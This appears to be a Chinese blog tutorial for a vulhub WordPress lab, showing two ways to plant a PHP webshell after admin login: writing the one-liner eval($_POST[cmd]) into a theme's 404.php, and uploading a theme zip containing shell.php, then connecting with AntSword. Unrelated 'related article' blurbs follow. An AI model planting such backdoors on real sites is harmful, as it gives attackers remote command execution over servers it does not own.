【vulhub/wordpress靶场】------获取webshell

ops/2025/3/31 7:00:06/

1.进入靶场环境:

输入:cd / vulhub / wordpress / pwnscriptum

修改版本号:  vim docker-compose.yml     
version: '3'   保存退出
 
开启靶场环境: docker - compose up - d

开启成功,docker ps查看端口   靶场环境8080端口映射到80端口

2. 浏览器访问靶场ip+端口   

192.168.182.143:8080

选择简体中文,点击“继续”。

3.  填入信息,进行安装

安装完成,进行登录。

4.获得webshell

4.1 姿势一:后台修改模板拿webshell

4.1.1  修改模板内容

修改其WP的模板写⼊⼀句话⽊⻢后⻔并访问其⽂件即可GetShell;登陆WP后点击 【外
观】 --》 【编辑】 --》 404.php

4.1.2  写入一句话木马

在其404模板中插⼊⼀句话⽊⻢代码..点击 【更新⽂件】 按钮
<? php eval ( $_POST [ cmd ]);?>

4.1.3 拼接路径,访问文件,蚁剑连接

#拼接路径       /wp-content/themes/twentyfifteen/404.php
访问连接:   http://192.168.182.143:8080/wp-content/themes/twentyfifteen/404.php

 4.2 姿势二:上传主题拿WebShell

4.2.1写入木马文件,和正常的主题模板合并压缩为1.zip文件

写入一句话木马,保存文件为shell.php。
<?php @eval($_POST[cmd]);?>
在网址中任意下载一个免费的模板zip文件; wordpress免费主题|wordpress企业主题|wordpress cms主题|wordpress网站模板|wordpress模板-WEB主题公园
解压后,将shell.php文件拖入解压包,并再次压缩为1.zip文件

4.2.2 上传主题

点击 【外 观】 --》 【主题】 --》 【添加】 --》 【上传主题】 --》 【浏览】 --》 【现在安装】

4.2.3  拼接路径,访问连接,蚁剑连接

#拼接路径     /wp-content/themes/压缩包解压后文件名/木马文件名.php

该压缩包文件,再上传上去后,会自动解压,从而进行安装主题。此次木马php文件也在解压后的文件里,即在网站根目录且可以访问。

访问:http://192.168.182.143:8080/wp-content/themes/1/shell.php   【这里的1,指的是压缩包解压得到的文件的文件名】

练习结束,知道目标网站的CMS架构,搜索常见漏洞可进行尝试。
修改原有php文件,写入一句话木马;
上传包含木马php文件的正常模板压缩包,上传完成后,会自动解压安装主题,因而木马文件成功上传到网站,访问木马文件,即可获取webshell。
WordPress框架,这两种方式通用。
希望对大家有所帮助,谢谢。
再见。。。
-----------2025/3/20  20:25

http://www.ppmy.cn/ops/167733.html

相关文章

本地仓库设置

将代码仓库初始化为远程仓库&#xff0c;主要涉及在服务器上搭建 Git 服务&#xff0c;并将本地代码推送到服务器上。以下是详细的步骤&#xff1a; 1. 选择服务器 首先&#xff0c;你需要一台服务器作为代码托管的远程仓库。服务器可以是本地服务器、云服务器&#xff0c;甚…

材质 × 碰撞:Threejs 物理引擎的双重魔法

材质 在物理引擎中&#xff0c;材质(Material)用于描述物体的物理属性&#xff0c;例如摩擦力、弹性等。 const material new CANNON.Material("materialName");CANNON.Material&#xff1a; 物理材质&#xff0c;用于模拟物体之间的摩擦力、弹性等物理属性。 ma…

Redis GeoHash 详解

Redis GeoHash 详解 Redis 提供了 Geo&#xff08;地理位置&#xff09; 模块&#xff0c;其中 GeoHash 是一种用于存储和查询地理位置信息的数据结构。它能够高效地进行地理位置存储、查询、计算距离和查找附近地点等操作。 1. 什么是 GeoHash&#xff1f; GeoHash 是一种将…

游戏引擎学习第163天

我们可以在资源处理器中使用库 因为我们的资源处理器并不是游戏的一部分&#xff0c;所以它可以使用库。我说过我不介意让它使用库&#xff0c;而我提到这个的原因是&#xff0c;今天我们确实有一个选择——可以使用库。 生成字体位图的两种方式&#xff1a;求助于 Windows 或…

opengl中的旋转、平移、缩放矩阵生成函数

构建并返回平移矩阵 mat4 buildTranslate(float x, float y, float z) { mat4 trans mat4(1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, x, y, z, 1.0 ); return trans; } 构建并返回绕x轴的旋转矩阵 mat4 buildRotateX(float rad) { mat4 xrot mat4(1…

【从零开始学习计算机】计算机网络(二)物理层

【从零开始学习计算机】计算机网络(二)物理层 物理层物理层的四个特性物理层的数据通信物理层关注的问题一,数据同步二,信道的传输速度信道的极限传输速率三,数据编码数字数据编码为模拟信号模拟数据编码为数字信号四,信道复用1,频分复用2,时分复用3,波分复用4,码分多…

基于python+django的家教预约网站-家教信息管理系统源码+运行步骤

该系统是基于pythondjango开发的家教预约网站。是给师妹做的课程作业。大家在学习过程中&#xff0c;遇到问题可以在github给作者留言。共同学习进步哦 效果演示 前台地址&#xff1a; http://jiajiao.gitapp.cn 后台地址&#xff1a; http://jiajiao.gitapp.cn/admin 后台管…

DeepSeek面试——模型架构和主要创新点

本文将介绍DeepSeek的模型架构多头潜在注意力&#xff08;MLA&#xff09;技术&#xff0c;混合专家&#xff08;MoE&#xff09;架构&#xff0c; 无辅助损失负载均衡技术&#xff0c;多Token 预测&#xff08;MTP&#xff09;策略。 一、模型架构 DeepSeek-R1的基本架构沿用…